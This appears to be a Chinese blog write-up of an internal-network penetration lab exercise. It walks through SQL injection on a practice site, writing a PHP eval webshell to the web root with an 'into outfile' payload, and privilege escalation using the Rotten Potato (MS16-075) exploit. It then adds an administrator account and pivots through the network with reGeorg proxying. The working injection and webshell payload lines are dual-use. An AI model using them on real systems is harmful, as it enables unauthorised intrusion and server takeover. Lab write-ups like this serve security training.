内网渗透实践

发布于 2021-08-06  88 次阅读


记一次内网渗透靶场实践

前台获取Webshell

image-20210718101712310

打开靶场是一个辛巴猫舍的网址,没有什么可用的功能点,只有Get传参?id=1对这个此处进行测试。

image-20210718102036131

输入'之后,出现报错页面,根据报错我们可以得知:

  1. 服务使用Windows系统
  2. 使用PHP study进行搭建
  3. 网站的绝对路径为: C:\phpStudy\WWW\index.php
  4. Get传参处大概率存在SQL注入

根据上述的到的信息,对该网站进行,SQL的进一步探测

image-20210718102703819
image-20210718102624950

经过上面的测试,我们发现这里确实存在SQL注入,接下来对SQL进行利用。

?id=0 order by 2 # 发现表中存在两个字段
?id=1 and 1=2 union select 1, 2 # 找到输出点为第二个字段

到了这一步,基本上可以说是有两种选择:

  1. 使用sqlmap 获取数据库信息 ,然后尝试使用 --os-shell 进行Getshell
  2. 尝试写入文件获取Webshell (我这里直接选择第二种方式)

在写入文件的时候涉及到两个函数 into outfileinto dumpfile

  • 这两个函数区别:
    • outfile函数可以导出多行,而dumpfile只能导出一行数据
    • outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
  • 这两个函数使用的限制:
    • 其中当参数 secure_file_priv 为空时,对导入导出无限制
    • 当值为一个指定的目录时,只能向指定的目录导入导出
    • 当值被设置为NULL时,禁止导入导出功能

这里是黑盒测试,不知道配置项的开启情况,因此直接进行尝试是否能够成功:

根据报错页面得到的信息,可以构造Payload

?id=1 union select 1,'<?php eval($_REQUEST["cmd"])?>' into outfile 'c:/phpstudy/www/888.php'
image-20210718110448100

成功获取Webshell,使用蚁剑进行连接

image-20210718113837583

使用SQLMAP查看数据库表信息:

image-20210725193734319

观察表没有相关的用户信息。

登录主机进行提权

image-20210718114519951

使用whoami命令,查看当前用户,得到一个test权限,我们不知道test权限有多大,进行测试:

image-20210718114711243

尝试添加用户失败,该test权限不是很高,尝试对其进行提权,提权的方式主要是:

  1. 利用windows | Linux 系统漏洞进行提权
  2. 利用高权限的组件机型提权

(目标机器上没有太多服务,因此这里我选择利用系统漏洞进行提权)

对该主机进行信息收集:

  • 网卡信息
image-20210725194223619
  • 主机信息
image-20210725194344066
  • 运行进程
image-20210725194448956
  • 用户查询
image-20210725194646212
  • 查看路由表
image-20210725194949443

结合上述信息收集,进行下一步。

使用systeminfo命令,查看系统信息,结合Windows辅助提权工具,寻找EXP:

image-20210718115627965
image-20210718141300446

找到一下可以提权的EXP,这里我选择使用MS16-075(烂土豆进行提权)

image-20210718142501194
image-20210718142646590

将烂土豆利用脚本通过蚁剑进行上传,验证是否能够正常执行,发现通过烂土豆利用工具,可以获得system权限,因此可以利用烂土豆添加管理员账号,实现登录。

image-20210718144024703
image-20210718162232117

查询IP之后,推测可能拿到Webshell的主机是一台内网主机,通过端口映射,将服务开放到公网上面的。

内网穿透登录Webshell主机

根据上面的推断就要进行内网穿透,一般来说有两种方式:

  1. 让内网主机主动连接自己的机器(这也就是需要一个公网IP的主机)
  2. 在目标机器上做流量转发

这里我选择第二种方式,在目标机器上做流量转发。

使用reGeorg进行流量转发,上传流量转发的文件到Webshell主机,并访问出现如下字样证明成功:

image-20210718145606862
image-20210718162822791
image-20210718162951510

启动reGeorg进行流量转发,使用Proxifiter进行代理

image-20210718165019844
image-20210718165035165

成功远程连接登录。

(未完待续。。。)